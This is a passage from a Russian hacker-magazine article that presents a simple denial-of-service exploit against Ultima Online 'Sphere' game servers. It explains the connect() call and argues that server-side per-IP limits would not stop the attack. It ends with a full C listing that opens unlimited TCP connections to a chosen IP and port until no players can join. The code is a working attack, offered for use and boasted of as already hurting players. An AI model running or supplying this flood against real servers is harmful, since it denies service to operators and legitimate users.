Эксплоит в разрезе

Xakep, номер #047, стр. 047-084-3


if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)

return -1;

Не перепутай: connect() с маленькой буквы - системная функция, а Connect() с большой буквы - наша функция, которую мы рассматриваем. Компилятор Си чувствителен к регистру символов. Итак, функции connect() на вход подается имя сокетовой переменной и данные о сокетовой структуре (ее имя и размер). Функция возвращает отрицательное значение в случае неудачной попытки соединения и неотрицательное число в случае удачи. При этом сокет становится готовым к эксплуатации, которая осуществляется через дескриптор сокета, хранящийся в переменной fd.

Итого

Суть эксплоита в том, что он запускает бесконечный цикл, внутри которого производит кучу коннектов к игровому серверу. У любого такого серванта есть ограничение на количество подключений и одновременно играющих людей. Сразу становится ясно, что наш эксплоит за считанные секунды откроет большое количество пустых соединений с серваком, и после этого ни один геймер не сможет уже вступить в игру.

Вопрос об эффективности этого эксплоита можно оставить открытым, так как ты можешь возразить: "Сервер просто не даст мне подключиться два раза с одного IP". А я возражу, что к игровым сервантам часто коннектятся из игровых клубов, где все компьютеры имеют один IP. Если сделать ограничение, то из одного клуба к серверу сможет приконнектиться только один комп, так что это неэффективно.

Как известно, борьба снаряда и брони - штука сложная. В любом случае, этот эксплоит работает, и, думаю, многие игроки Ultima Online уже испытали на себе "глюки сервера".

Надеюсь, ты почерпнул для себя что-нибудь новое, так как мы рассмотрели алгоритм простейшей DoS-атаки.

Полный листинг эксплоита

#include

#include

#include

#include

#include

#include

#include

#include

#include

int Connect(int ip, int port)

{

int fd;

struct sockaddr_in tgt;

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (fd<0) return -1;

memset(&tgt,0,sizeof(struct sockaddr_in));

tgt.sin_port = htons(port);

tgt.sin_family = AF_INET;

tgt.sin_addr.s_addr = ip;

if (connect(fd,(struct sockaddr*)&tgt, sizeof(struct sockaddr))<0)

return -1;

return fd;

}

int main(int argc, char *argv[])

{

int fd;

struct sockaddr_in box;

if (argc < 2)

{

fprintf(stderr, "usage: %s [sphere port]\n",argv[0]);

return;

}

fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if (fd<0)

{

perror("socket() ");

return;

}

fprintf(stderr,"Attacking sphere : ");

for (;;)

{

int sock;

sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);

if (sock<0) {

sleep(10);

continue;

}

fprintf(stderr, ".*");

}

}

Назад на стр. 047-084-2  Содержание